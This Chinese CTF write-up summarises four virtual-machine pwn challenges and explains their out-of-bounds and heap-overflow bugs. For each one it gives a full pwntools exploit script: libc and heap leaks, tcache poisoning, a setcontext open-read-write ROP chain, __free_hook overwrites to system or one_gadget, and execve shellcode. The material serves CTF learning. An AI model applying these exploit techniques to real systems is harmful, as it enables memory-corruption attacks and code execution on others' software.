最近自己简直就是顶级拉扯,一个复现能把自己拉扯得死去活来。。。

遇到了好几次VMpwn,这里做个总结,这类题大多是类虚拟机的题目,vm pwn会模拟出stack,寄存器,内存

这种题主要是对逆向的能力的考查,本身漏洞都比较好利用。首要目的是还原题目的运行流程和方式。

1.先理解对输入码的编译过程,硬逆(技巧就是快速浏览,找到容易分辨的部分改变量名,再回到开头逆向)

2.理解具体程序功能,找到漏洞,这个过程最好结合动态调试(把管理结构体画出来,一定要全部搞懂,这一步往往是找到漏洞的关键)

题目下载链接:VMpwn总结/vmpwn.7z

ciscn_2021_game(特殊数组越界实现堆溢出)

首先是关于如何输入指令的问题(虚拟机如何编译)

通过这一段的字符串比较,我们能快速定位变量,结合游戏名,得到是一个类角色扮演游戏

image-20220409233514592

image-20220409233535689

这里提一下正则判断,&&优先级比||高,c语言里的||就像是分割的作用

image-20220409234203129

然后是函数功能的分析(程序的漏洞点)

关于程序功能实现的结构体主要有2个,map_ptr管理地图的参数,pep_ptr管理角色的参数,lw是长宽,s是desc_chunk的申请大小,这道题的申请size同样没做限制

image-20220409233614179

image-20220409233704226

这里exp主要是对fmyy师傅的exp做了些注解

image-20220409235649721

关于setcontext的使用可以看这篇文章sandbox/orw总结

from pwn import*
context.log_level = 'DEBUG'

def RUN(payload):
    p.sendlineafter('cmd> ',str(payload))

def init(L,W):
    RUN( 'OP:' + '1' + '\n' + 'L:' + str(L) + '\n' +  'W:' + str(W) + '\n')
def create(ID,Size,des):
    RUN( 'OP:' + '2' + '\n' + 'ID:' + str(ID) + '\n' +  's:' + str(Size) + '\n')
    p.sendafter('desc> ',des)
def free(ID):
    RUN( 'OP:' + '3' + '\n' + 'ID:' + str(ID) + '\n')
def show():
    RUN( 'OP:' + '4' + '\n')
def up(ID):
    RUN( 'OP:' + '5' + '\n' + 'ID:' + str(ID) + '\n')
def down(ID):
    RUN( 'OP:' + '6' + '\n' + 'ID:' + str(ID) + '\n')
def left(ID):
    RUN( 'OP:' + '7' + '\n' + 'ID:' + str(ID) + '\n')
def right(ID):
    RUN( 'OP:' + '8' + '\n' + 'ID:' + str(ID) + '\n')
def dbg():
    gdb.attach(p)
    pause()

p = process('./game')
elf = ELF("./game")
libc =ELF("libc-2.27.so")

# 利用越界泄露libc和堆地址
init(0x10,0x10)
create(6,0x3F0,'E4L4')
right(6)# 修改size
right(6)
for i in range(10):
    down(0x6)
create(0x99,0x3F0,'\x00'*0x1F8 + p64(0x201))
free(6)# 0x400的chunk
create(1,0x380,'\xA0')# 申请回来拿libc
show()
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70- 0x500
log.info('LIBC:\t' + hex(libc_base))
create(9,0x10,'\xA0')# 申请回来拿libc
show()
p.recvuntil('9: (10,12) ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0xDA0  - 0x1400
log.info('HEAP:\t' + hex(heap_base))

# 修改fd申请tcache_struct(因为沙箱的原因需要我们恢复tcache结构)
free(0x99)# 0x400的chunk
create(2,0x230,'\x00'*0x38 + p64(0x401) + p64(heap_base + 0x10))

# orw
###################
pop_rdi_ret = libc_base + 0x000000000002155f
pop_rdx_ret = libc_base + 0x0000000000001b96
pop_rax_ret = libc_base + 0x0000000000043a78
pop_rsi_ret = libc_base + 0x0000000000023e8a
ret = libc_base + 0x00000000000008AA
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
syscall = Read + 15
FLAG  = heap_base + 0x10 + 0xA0 + 0x10 + 0x88

orw  = p64(pop_rdi_ret) + p64(FLAG)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)# open
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base  + 0x3000)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
###################
# 操作tcache_struct修改freehook为setcontext+53,并利用
create(7,0x3F0,'E4L4')
create(8,0x3F0,'\x00'*7 + '\x01' + '\x00'*0x38 +'\x00'*8*7 + p64(libc_base + libc.sym['__free_hook'])  + '\x00'*0x20 + p64(heap_base + 0x10 + 0xA0 + 0x10) + p64(pop_rdi_ret + 1) + orw + 'flag\x00')
log.info('setc:\t' + hex(libc_base + libc.sym['setcontext'] + 53))
create(3,0x80,p64(libc_base + libc.sym['setcontext'] + 53))

free(8)
p.interactive()

OGEEK2019_FINAL_OVM(数组越界)

这道题是vmpwn的入门题了,同样分析输入流程

image-20220410112550758

功能大致如下,对stack进行操作我们可以归为push/pop,赋值可以归为mov。漏洞点在mov指令未校验数组下标,数组越界。利用stderr_got里存放了_IO_2_1_stderr,来获得libc。

mov reg, op		0x10 : reg[dest] = op
mov reg, 0		0x20 : reg[dest] = 0
mov mem, reg    0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem    0x40 : memory[reg[src2]] = reg[dest]
push reg    0x50 : stack[result] = reg[dest]
pop reg     0x60 : reg[dest] = stack[reg[13]]
add         0x70 : reg[dest] = reg[src2] + reg[src1]
sub         0x80 : reg[dest] = reg[src1] - reg[src2]
and         0x90 : reg[dest] = reg[src2] & reg[src1]
or          0xA0 : reg[dest] = reg[src2] | reg[src1]
^          	0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left        0xC0 : reg[dest] = reg[src1] << reg[src2]
right       0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper

这里写菜单,是按编译来写的,上一题是按功能来写的,个人感觉还是根据题目情况来做决定,2种写法都是可行的

from pwn import *
context.log_level='debug'
p = process("vmpwn")
elf = ELF("vmpwn")
libc = elf.libc

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

def opcode(code, dst, op1, op2):
    res =  code<<24
    res += dst<<16
    res += op1<<8
    res += op2
    return str(res)

p.recvuntil("PC: ")
p.sendline('0')
p.recvuntil("SP: ")
p.sendline('1')
p.recvuntil("CODE SIZE: ")
p.sendline('24')
p.recvuntil("CODE: ")

# 将stderr_got表里存的_IO_2_1_stderr的地址转递给reg[3]reg[2]
sl(opcode(0x10, 0, 0, 26)) #reg[0] = -26
sl(opcode(0x80, 1, 1, 0)) #reg[1] = -26
sl(opcode(0x30, 2, 0, 1)) #reg[2] = memory[reg[1]]
sl(opcode(0x10, 0, 0, 25)) #reg[0] = 25
sl(opcode(0x10, 1, 0, 0)) #reg[1] = 0
sl(opcode(0x80, 1, 1, 0)) #reg[1] = -25
sl(opcode(0x30, 3, 0, 1)) #reg[3] = memory[reg[1]]

# reg[4]构造一个0x10a0,给reg[2]加上,即_IO_2_1_stderr+0x10a0=free_hook-8
sl(opcode(0x10, 4, 0, 1)) #reg[4] = 1
sl(opcode(0x10, 5, 0, 12)) #reg[5] = 12
sl(opcode(0xc0, 4, 4, 5)) #reg[4] = 1<<12 = 1000
sl(opcode(0x10, 5, 0, 0xa)) #reg[5] = 0xa
sl(opcode(0x10, 6, 0, 4)) #reg[6] = 4
sl(opcode(0xc0, 5, 5, 6)) #reg[5] = 0xa0
sl(opcode(0x70, 4, 4, 5)) #reg[4] = reg[4]+reg[5] = 0x10a0
sl(opcode(0x70, 2, 4, 2)) #reg[2] = reg[4]+reg[2]

# 将comment改为free_hook-8
sl(opcode(0x10, 4, 0, 8)) #reg[4] = 8
sl(opcode(0x10, 1, 0, 0)) #reg[1] = 0
sl(opcode(0x80, 1, 1, 4)) #reg[1] = 0-8 = -8
sl(opcode(0x40, 2, 0, 1)) #memory[reg[1] = reg[2]]
sl(opcode(0x10, 5, 0, 7)) #reg[5] = 7
sl(opcode(0x10, 1, 0, 0)) #reg[1] = 0
sl(opcode(0x80, 1, 1, 5)) #reg[1] = reg[1] - reg[4] = -7
sl(opcode(0x40, 3, 0, 1)) #memory[reg[1]] = reg[3]
sl(opcode(0xe0, 0, 0, 0)) #exit

ru('R2: ')
low = int(r(8), 16) + 8
ru('R3: ')
high = int(r(4), 16)
print hex(low), hex(high)
libc_base = (high<<32) + low - libc.sym['__free_hook']
lg('libc_base', libc_base)
system = libc_base + libc.sym['system']

# 读入comment,修改到free_hook
sl('/bin/sh\x00'+p64(system))
p.interactive()

HFCTF2022 mva(数组越界)

代码编译部分,结构大同小异,都是co|dst|op2|op1,四字节一个code。区别在于虚拟的寄存器和栈等变量都存放在栈上。

image-20220411111253056

然后功能部分,比较长,这里讲几个用到的功能

这里IDA用到了一个嵌套宏定义IDA 宏定义 - gwind - 博客园 (cnblogs.com),BYTE2等价于(*((uint8)&(x)+2)),相当于就是取dst了,然后是无符号数;SBYTE2等价于(*((int8)&(x)+2)),同样取dst但有符号。这里reg相当于寄存器数组,SBYTE2(code)等同于下标。下图这个功能就是相当于一个mov指令,图里op1不太准确,等号右边的code是dx寄存器2字节,所以应该是op2拼接op1(op2:op1)

image-20220411111509725

9号指令,idx是一个有符号数,这里就可以负数绕过,这个功能由dst决定是push哪个值。这里的stack寄存器是2字节一个字长,所以在计算数组下标时就stack+idx*2,我们idx取负数0x800000000000010c,乘2后就是0x218。stack+0x218正好时ret的地址。

image-20220411112249502

E号指令,也是一个mov功能。但同样也用了一个有符号数进行判断,导致数组越界写。

F号指令,也就可以实现越界读

image-20220411112428907

漏洞明确了,思路就是利用越界,在栈上泄露地址,泄露完就控制ret,执行我们的gadget

可以看到ret里有libc_start_main的地址

image-20220411110136116

from pwn import *
context.log_level = "debug"

p = process('./mva')

def pack(code, dst, op2, op1):
  return p32(((op1&0xff)<<24)+((op2&0xff)<<16)+((dst&0xff)<<8)+code)
                
   
# 泄露程序基地址
#  0x11f*2=0x23e stack+0x23e
code =  pack(1,0,1,0x1f)   # reg[0] = 0x11f(op2:op1)
code += pack(0xe, 0, -10, 0)  # reg[-10]<=>(idx) = reg[0]
# high
code += pack(0xa, 5, 0, 0)    # reg[5] = stack[--idx_]
code += pack(0xf, 0, 0, 0) # printf stack[idx]
# mid
code += pack(0xa, 4, 0, 0)    # reg[4] = stack[--idx_]
code += pack(0xf, 0, 0, 0) # printf stack[idx]
# low
code += pack(0xa, 3, 0, 0)    # reg[3] = stack[--idx_]
code += pack(0xf, 0, 0, 0) # printf stack[idx]
# -0x10 -> idx=0x10f
code += pack(0xa, 2, 0, 0)*13    # reg[2] = stack[--idx_] * 13

#泄露libc基地址
# high
code += pack(0xa, 2, 0, 0) # reg[2] = stack[--idx_]
code += pack(0xf, 0, 0, 0) # printf stack[idx]
# mid
code += pack(0xa, 2, 0, 0) # reg[2] = stack[--idx_]
code += pack(0xf, 0, 0, 0) # printf stack[idx]
# low
code += pack(0xa, 2, 0, 0) # reg[2] = stack[--idx_]
code += pack(0xf, 0, 0, 0) # printf stack[idx]

# 然后下面是ret to 0x12AE, 再次执行
# 之前泄露的程序地址加0x4即0x2AE
code += pack(1,0,0,0x4)   # reg[0] = (op2:op1)
code += pack(2, 3, 3, 0)      # reg[3] = reg[3] + reg[0]

# 设置好idx=0x800000000000010c,让stack指向ret
code += pack(1,0,0x1,0xc)   # reg[0] = 0x10c(op2:op1)
code += pack(0xe, 0, -10, 0)  # reg[-10]<=>(idx) = reg[0]
code += pack(1,0,0x80,0)   # reg[0] = 0x10f(op2:op1)
code += pack(0xe, 0, -7, 0)  # reg[-7]<=>(idx[3]) = reg[0]
# low
code += pack(0xe, 3, 0, 0)  # reg[0] = reg[3]
code += pack(9, 0, 0, 0)      # stack[idx] = reg[0]
# mid
code += pack(1,0,0x1,0xc+1)   # reg[0] = 0x10c+1(op2:op1)
code += pack(0xe, 0, -10, 0)  # reg[-10]<=>(idx) = reg[0]
code += pack(0xe, 4, 0, 0)  # reg[0] = reg[4]
code += pack(9, 0, 0, 0)      # stack[idx] = reg[0]
# high
code += pack(1,0,0x1,0xc+2)   # reg[0] = 0x10c+2(op2:op1)
code += pack(0xe, 0, -10, 0)  # reg[-10]<=>(idx) = reg[0]
code += pack(0xe, 5, 0, 0)  # reg[0] = reg[5]
code += pack(9, 0, 0, 0)      # stack[idx] = reg[0]

code = code.ljust(0x100, b"\x00")
p.sendlineafter(b"[+] Welcome to MVA, input your code now :\n", code)
p.recvuntil(b"[+] MVA is starting ...\n")

elf_base = (int(p.recvline(), 10) << 32) + (int(p.recvline(), 10) << 16) + int(p.recvline(), 10) - 0x12aa
libc_base = (int(p.recvline(), 10) << 32) + (int(p.recvline(), 10) << 16) + int(p.recvline(), 10) - 0x240b3
success(hex(elf_base))
success(hex(libc_base))
pop_rdi_ret = libc_base + 0x0000000000023b72
bin_sh = libc_base + 0x1b45bd
system_addr = libc_base + 0x522c0

# 设置好idx,让stack指向ret
code2 =  b"a"*175
code2 += pack(1,0,0x1,0xc)   # reg[0] = 0x10c(op2:op1)
code2 += pack(0xe, 0, -10, 0)  # reg[-10]<=>(idx) = reg[0]
code2 += pack(1,0,0x80,0)   # reg[0] = 0x10f(op2:op1)
code2 += pack(0xe, 0, -7, 0)  # reg[-7]<=>(idx[3]) = reg[0]

# 顺序写入pop_rdi+binsh+system
for i in range(4):
  d1, d2 = pop_rdi_ret&0xff, (pop_rdi_ret>>8)&0xff
  code2 += pack(9, 1, d2, d1)   # stack[idx] = op2:op1
  pop_rdi_ret = pop_rdi_ret >> 16

for i in range(4):
  d1, d2 = bin_sh&0xff, (bin_sh>>8)&0xff
  code2 += pack(9, 1, d2, d1)   # stack[idx] = op2:op1
  bin_sh = bin_sh >> 16

for i in range(4):
  d1, d2 = system_addr&0xff, (system_addr>>8)&0xff
  code2 += pack(9, 1, d2, d1)   # stack[idx] = op2:op1
  system_addr = system_addr >> 16

code2 = code2.ljust(0x100, "\x00")
p.sendafter(b"[+] Welcome to MVA, input your code now :\n", code2)

p.interactive()

vheap(堆溢出修改fd)

image-20220517135611355

题目开始就有格式化字符串可以泄露libc

image-20220517135704229

然后可以在bss段上存2个内容页

image-20220517135745313

然后就是最多读9条命令,正常的VMpwn执行流程,难度比较入门

image-20220517135918817

image-20220517135950632

固定的40个字节读入,没有UAF但可以堆溢出修改fd

# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'

p = process('./vheap')
# p = remote("123.57.69.203","5320")
elf = ELF("./vheap")
libc = elf.libc
def dbg():
    gdb.attach(p)

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
pay = '%20$p'
sla("first,tell me your name.",pay)
p.recvuntil("welcome:")
libc_base = int(p.recv(14),16)-231-libc.sym['__libc_start_main']
lg('libc_base',libc_base)
free_hook = libc_base+libc.sym['__free_hook']
one = libc_base+0x4f302
sla("How many pieces of data?",'2')
s('a'*0x18+p64(0x70)+p64(free_hook))
s(p64(one))

sla("Size:",9)

def pack(code, dst, op2, op1):
    res =  code<<24
    res += dst<<16
    res += op2<<8
    res += op1
    return str(res)

p.recvuntil("[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++]")
p.sendline(pack(0xa,0,0x10,0))
p.sendline(pack(0xa,0,0x60,1))
p.sendline(pack(0xa,0,0x60,2))
p.sendline(pack(0xc,0,0,1))
p.sendline(pack(0xb,0,0,0))# read
p.sendline(pack(0xa,0,0x60,0))
p.sendline(pack(0xa,0,0x60,1))
p.sendline(pack(0xb,1,0,1))
p.sendline(pack(0xc,0,0,2))

p.interactive()
'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

总结

总的来说,这类题前期工作会多一点,但漏洞利用往往只用得上部分功能,数组越界也是常见的漏洞,现在做的题比较少,暂时只能简单总结,后续会继续更新